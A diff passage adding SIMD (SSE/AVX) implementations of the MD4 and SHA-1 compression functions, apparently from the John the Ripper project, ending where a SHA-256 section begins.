+	MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 9, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11)
+
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		MD4_REV_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
+		MD4_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+		}
+		return;
+	}
+
+	MD4_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
+	MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3)
+	MD4_STEP(MD4_H2, d, a, b, c, 11, cst, 9)
+	MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11)
+	MD4_STEP(MD4_H2, b, c, d, a, 15, cst, 15)
+
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		MD4_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 4 * VS32 + 3 * VS32]));
+			}
+		}
+	}
+
+#if USE_EXPERIMENTAL
+	/*
+ * This is currently not used for MD4, and was observed to result
+ * in a significant performance regression (at least on XOP) just by sitting
+ * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
+ * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
+ */
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		MD4_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 4 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 4,
+									14 * 4,
+									13 * 4,
+									12 * 4,
+									11 * 4,
+									10 * 4,
+									9 * 4,
+									8 * 4,
+									7 * 4,
+									6 * 4,
+									5 * 4,
+									4 * 4,
+									3 * 4,
+									2 * 4,
+									1 * 4,
+									0 * 4);
+
+			vscatter_epi32(o + 0, idxs, a[i], 4);
+			vscatter_epi32(o + 1, idxs, b[i], 4);
+			vscatter_epi32(o + 2, idxs, c[i], 4);
+			vscatter_epi32(o + 3, idxs, d[i], 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[4];
+				uint32_t s[4 * VS32];
+			} tmp;
+
+			tmp.v[0] = a[i];
+			tmp.v[1] = b[i];
+			tmp.v[2] = c[i];
+			tmp.v[3] = d[i];
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 4; k++) o[j * 4 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else
+#endif
+		if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			MD4_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+		else
+		{
+			MD4_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+			}
+		}
+	}
+	else
+	{
+		MD4_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 4 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 4 * VS32 + 3 * VS32], d[i]);
+		}
+	}
+}
+
+#endif /* SIMD_PARA_MD4 */
+
+#if SIMD_PARA_SHA1
+#define SHA1_SSE_NUM_KEYS (SIMD_COEF_32 * SIMD_PARA_SHA1)
+#define SHA1_PARA_DO(x) for ((x) = 0; (x) < SIMD_PARA_SHA1; (x)++)
+
+#define SHA1_F(x, y, z) tmp[i] = vcmov((y[i]), (z[i]), (x[i]));
+
+#if __AVX512F__
+#define SHA1_G(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
+#else
+#define SHA1_G(x, y, z)                                                        \
+	tmp[i] = vxor((y[i]), (z[i]));                                             \
+	tmp[i] = vxor((tmp[i]), (x[i]));
+#endif
+
+#if __AVX512F__
+#define SHA1_H(x, y, z) tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
+#elif !VCMOV_EMULATED
+#define SHA1_H(x, y, z)                                                        \
+	tmp[i] = vxor((z[i]), (y[i]));                                             \
+	tmp[i] = vcmov((x[i]), (y[i]), tmp[i]);
+#else
+#define SHA1_H(x, y, z)                                                        \
+	tmp[i] = vand((x[i]), (y[i]));                                             \
+	tmp[i] = vor((tmp[i]), vand(vor((x[i]), (y[i])), (z[i])));
+#endif
+
+#define SHA1_I(x, y, z) SHA1_G(x, y, z)
+
+#define SHA1_EXPAND2a(t)                                                       \
+	tmp[i] = vxor(data[i * 16 + t - 3], data[i * 16 + t - 8]);                 \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2b(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], data[i * 16 + t - 8]);          \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2c(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 14]);                              \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2d(t)                                                       \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
+	tmp[i] = vxor(tmp[i], data[i * 16 + t - 16]);                              \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_EXPAND2(t)                                                        \
+	tmp[i] = vxor(w[i * 16 + ((t - 3) & 0xF)], w[i * 16 + ((t - 8) & 0xF)]);   \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 14) & 0xF)]);                       \
+	tmp[i] = vxor(tmp[i], w[i * 16 + ((t - 16) & 0xF)]);                       \
+	w[i * 16 + ((t) &0xF)] = vroti_epi32(tmp[i], 1);
+
+#define SHA1_ROUND2a(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2a(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2b(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2b(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2c(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2c(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2d(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], data[i * 16 + t]);                             \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2d(t + 16)                                                  \
+	}
+
+#define SHA1_ROUND2(a, b, c, d, e, F, t)                                       \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+		SHA1_EXPAND2(t + 16)                                                   \
+	}
+
+#define SHA1_ROUND2x(a, b, c, d, e, F, t)                                      \
+	SHA1_PARA_DO(i)                                                            \
+	{                                                                          \
+		F(b, c, d)                                                             \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		tmp[i] = vroti_epi32(a[i], 5);                                         \
+		e[i] = vadd_epi32(e[i], tmp[i]);                                       \
+		e[i] = vadd_epi32(e[i], cst);                                          \
+		e[i] = vadd_epi32(e[i], w[i * 16 + (t & 0xF)]);                        \
+		b[i] = vroti_epi32(b[i], 30);                                          \
+	}
+
+#define INIT_E 0xC3D2E1F0
+
+void sha1_reverse(uint32_t * hash)
+{
+	hash[4] -= INIT_E;
+	hash[4] = (hash[4] << 2) | (hash[4] >> 30);
+}
+
+void sha1_unreverse(uint32_t * hash)
+{
+	hash[4] = (hash[4] << 30) | (hash[4] >> 2);
+	hash[4] += INIT_E;
+}
+
+#undef INIT_E
+
+// SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT
+
+void SIMDSHA1body(vtype * _data,
+				  ARCH_WORD_32 * out,
+				  ARCH_WORD_32 * reload_state,
+				  unsigned SSEi_flags)
+{
+	vtype w[16 * SIMD_PARA_SHA1];
+	vtype a[SIMD_PARA_SHA1];
+	vtype b[SIMD_PARA_SHA1];
+	vtype c[SIMD_PARA_SHA1];
+	vtype d[SIMD_PARA_SHA1];
+	vtype e[SIMD_PARA_SHA1];
+	vtype tmp[SIMD_PARA_SHA1];
+	vtype cst;
+	unsigned int i;
+	vtype * data;
+
+#if 0
+	if (SSEi_flags & SSEi_FLAT_IN)
+	{
+// Move _data to __data, mixing it SIMD_COEF_32 wise.
+#if __SSE4_1__ || __MIC__
+		unsigned k;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		SHA1_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_4x(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER_4x(W[14], saved_key, 14);
+				GATHER_4x(W[15], saved_key, 15);
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER_2x(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER_2x(W[14], saved_key, 14);
+				GATHER_2x(W[15], saved_key, 15);
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (i = 0; i < 14; ++i)
+				{
+					GATHER(W[i], saved_key, i);
+					vswap32(W[i]);
+				}
+				GATHER(W[14], saved_key, 14);
+				GATHER(W[15], saved_key, 15);
+				saved_key += (VS32 << 4);
+			}
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(W[14]);
+				vswap32(W[15]);
+			}
+			W += 16;
+		}
+#else
+		unsigned j, k;
+		ARCH_WORD_32 * p = (ARCH_WORD_32 *) w;
+		vtype * W = w;
+		ARCH_WORD_32 * saved_key = (ARCH_WORD_32 *) _data;
+		SHA1_PARA_DO(k)
+		{
+			if (SSEi_flags & SSEi_4BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
+				saved_key += (VS32 << 6);
+			}
+			else if (SSEi_flags & SSEi_2BUF_INPUT)
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
+				saved_key += (VS32 << 5);
+			}
+			else
+			{
+				for (j = 0; j < 16; j++)
+					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
+				saved_key += (VS32 << 4);
+			}
+			for (i = 0; i < 14; i++) vswap32(W[i]);
+			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
+				 == SSEi_2BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
+					== SSEi_4BUF_INPUT_FIRST_BLK)
+				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
+					== SSEi_FLAT_RELOAD_SWAPLAST))
+			{
+				vswap32(W[14]);
+				vswap32(W[15]);
+			}
+			W += 16;
+		}
+#endif
+
+		// now set our data pointer to point to this 'mixed' data.
+		data = w;
+	}
+	else
+#else
+	assert((SSEi_flags & SSEi_FLAT_IN) == 0);
+#endif
+	data = _data;
+
+#if 0
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		SHA1_PARA_DO(i)
+		{
+			a[i] = vset1_epi32(0x67452301);
+			b[i] = vset1_epi32(0xefcdab89);
+			c[i] = vset1_epi32(0x98badcfe);
+			d[i] = vset1_epi32(0x10325476);
+			e[i] = vset1_epi32(0xC3D2E1F0);
+		}
+	}
+	else
+	{
+#endif
+	assert((SSEi_flags & SSEi_RELOAD) != 0);
+
+#if 0
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
+				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
+				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
+				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
+				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
+			}
+		}
+		else
+		{
+#endif
+	SHA1_PARA_DO(i)
+	{
+		a[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]);
+		b[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]);
+		c[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]);
+		d[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]);
+		e[i] = vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]);
+	}
+#if 0
+		}
+#endif
+#if 0
+	}
+#endif
+
+	cst = vset1_epi32(0x5A827999);
+	SHA1_ROUND2a(a, b, c, d, e, SHA1_F, 0);
+	SHA1_ROUND2a(e, a, b, c, d, SHA1_F, 1);
+	SHA1_ROUND2a(d, e, a, b, c, SHA1_F, 2);
+	SHA1_ROUND2b(c, d, e, a, b, SHA1_F, 3);
+	SHA1_ROUND2b(b, c, d, e, a, SHA1_F, 4);
+	SHA1_ROUND2b(a, b, c, d, e, SHA1_F, 5);
+	SHA1_ROUND2b(e, a, b, c, d, SHA1_F, 6);
+	SHA1_ROUND2b(d, e, a, b, c, SHA1_F, 7);
+	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 8);
+	SHA1_ROUND2c(b, c, d, e, a, SHA1_F, 9);
+	SHA1_ROUND2c(a, b, c, d, e, SHA1_F, 10);
+	SHA1_ROUND2c(e, a, b, c, d, SHA1_F, 11);
+	SHA1_ROUND2c(d, e, a, b, c, SHA1_F, 12);
+	SHA1_ROUND2c(c, d, e, a, b, SHA1_F, 13);
+	SHA1_ROUND2d(b, c, d, e, a, SHA1_F, 14);
+	SHA1_ROUND2d(a, b, c, d, e, SHA1_F, 15);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_F, 16);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_F, 17);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_F, 18);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_F, 19);
+
+	cst = vset1_epi32(0x6ED9EBA1);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 20);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 21);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 22);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 23);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 24);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 25);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 26);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 27);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 28);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 29);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 30);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 31);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 32);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 33);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 34);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_G, 35);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_G, 36);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_G, 37);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_G, 38);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_G, 39);
+
+	cst = vset1_epi32(0x8F1BBCDC);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 40);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 41);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 42);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 43);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 44);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 45);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 46);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 47);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 48);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 49);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 50);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 51);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 52);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 53);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 54);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_H, 55);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_H, 56);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_H, 57);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_H, 58);
+	SHA1_ROUND2(b, c, d, e, a, SHA1_H, 59);
+
+	cst = vset1_epi32(0xCA62C1D6);
+	SHA1_ROUND2(a, b, c, d, e, SHA1_I, 60);
+	SHA1_ROUND2(e, a, b, c, d, SHA1_I, 61);
+	SHA1_ROUND2(d, e, a, b, c, SHA1_I, 62);
+	SHA1_ROUND2(c, d, e, a, b, SHA1_I, 63);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 64);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 65);
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 66);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 67);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 68);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 69);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 70);
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 71);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 72);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 73);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 74);
+	SHA1_ROUND2x(a, b, c, d, e, SHA1_I, 75);
+
+#if 0
+	if (SSEi_flags & SSEi_REVERSE_STEPS)
+	{
+		SHA1_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
+		}
+		return;
+	}
+#endif
+
+	SHA1_ROUND2x(e, a, b, c, d, SHA1_I, 76);
+	SHA1_ROUND2x(d, e, a, b, c, SHA1_I, 77);
+	SHA1_ROUND2x(c, d, e, a, b, SHA1_I, 78);
+	SHA1_ROUND2x(b, c, d, e, a, SHA1_I, 79);
+
+#if 0
+	if ((SSEi_flags & SSEi_RELOAD) == 0)
+	{
+		SHA1_PARA_DO(i)
+		{
+			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
+			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
+			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
+			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
+			e[i] = vadd_epi32(e[i], vset1_epi32(0xC3D2E1F0));
+		}
+	}
+	else
+	{
+		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				a[i] = vadd_epi32(
+					a[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
+				b[i] = vadd_epi32(
+					b[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
+				c[i] = vadd_epi32(
+					c[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
+				d[i] = vadd_epi32(
+					d[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
+				e[i] = vadd_epi32(
+					e[i],
+					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
+			}
+		}
+		else
+		{
+#endif
+	SHA1_PARA_DO(i)
+	{
+		a[i] = vadd_epi32(
+			a[i], vload((vtype *) &reload_state[i * 5 * VS32 + 0 * VS32]));
+		b[i] = vadd_epi32(
+			b[i], vload((vtype *) &reload_state[i * 5 * VS32 + 1 * VS32]));
+		c[i] = vadd_epi32(
+			c[i], vload((vtype *) &reload_state[i * 5 * VS32 + 2 * VS32]));
+		d[i] = vadd_epi32(
+			d[i], vload((vtype *) &reload_state[i * 5 * VS32 + 3 * VS32]));
+		e[i] = vadd_epi32(
+			e[i], vload((vtype *) &reload_state[i * 5 * VS32 + 4 * VS32]));
+	}
+#if 0
+		}
+	}
+#endif
+
+#if 0
+	if (SSEi_flags & SSEi_FLAT_OUT)
+	{
+		SHA1_PARA_DO(i)
+		{
+			uint32_t * o = (uint32_t *) &out[i * 5 * VS32];
+#if __AVX512F__ || __MIC__
+			vtype idxs = vset_epi32(15 * 5,
+									14 * 5,
+									13 * 5,
+									12 * 5,
+									11 * 5,
+									10 * 5,
+									9 * 5,
+									8 * 5,
+									7 * 5,
+									6 * 5,
+									5 * 5,
+									4 * 5,
+									3 * 5,
+									2 * 5,
+									1 * 5,
+									0 * 5);
+
+			vscatter_epi32((((uint32_t *) o) + 0), idxs, vswap32(a[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 1), idxs, vswap32(b[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 2), idxs, vswap32(c[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 3), idxs, vswap32(d[i]), 4);
+			vscatter_epi32((((uint32_t *) o) + 4), idxs, vswap32(e[i]), 4);
+#else
+			uint32_t j, k;
+			union {
+				vtype v[5];
+				uint32_t s[5 * VS32];
+			} tmp;
+
+			tmp.v[0] = vswap32(a[i]);
+			tmp.v[1] = vswap32(b[i]);
+			tmp.v[2] = vswap32(c[i]);
+			tmp.v[3] = vswap32(d[i]);
+			tmp.v[4] = vswap32(e[i]);
+
+			for (j = 0; j < VS32; j++)
+				for (k = 0; k < 5; k++) o[j * 5 + k] = tmp.s[k * VS32 + j];
+#endif
+		}
+	}
+	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
+	{
+		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
+		{
+			SHA1_PARA_DO(i)
+			{
+				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
+				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
+			}
+		}
+		else
+		{
+#endif
+	assert((SSEi_flags & SSEi_OUTPUT_AS_INP_FMT) != 0
+		   && (SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
+				  != SSEi_OUTPUT_AS_2BUF_INP_FMT);
+
+	SHA1_PARA_DO(i)
+	{
+		vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
+		vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
+		vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
+		vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
+		vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
+	}
+#if 0
+		}
+	}
+	else
+	{
+		SHA1_PARA_DO(i)
+		{
+			vstore((vtype *) &out[i * 5 * VS32 + 0 * VS32], a[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 1 * VS32], b[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 2 * VS32], c[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 3 * VS32], d[i]);
+			vstore((vtype *) &out[i * 5 * VS32 + 4 * VS32], e[i]);
+		}
+	}
+#endif
+
+#if defined(__AVX2__) || defined(__AVX512F__)
+	/* The fix for known issues with mixing AVX2+ and SSE. */
+	_mm256_zeroupper();
+#endif
+}
+#endif /* SIMD_PARA_SHA1 */
+
+#if SIMD_PARA_SHA256
+
+/*
+ * These optimized Sigma alternatives are from "Fast SHA-256 Implementations
+ * on Intel Architecture Processors" whitepaper by Intel. They should result
+ * in less register copy operations but in our case they definitely cause a
+ * regression. Not sure why.
+ */
+#if 0
+#define S0(x)                                                                  \
+	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -9), x), -11), x), -2)
+#define S1(x)                                                                  \
+	vroti_epi32(vxor(vroti_epi32(vxor(vroti_epi32(x, -14), x), -5), x), -6)
+#else
+#define S0(x)                                                                  \
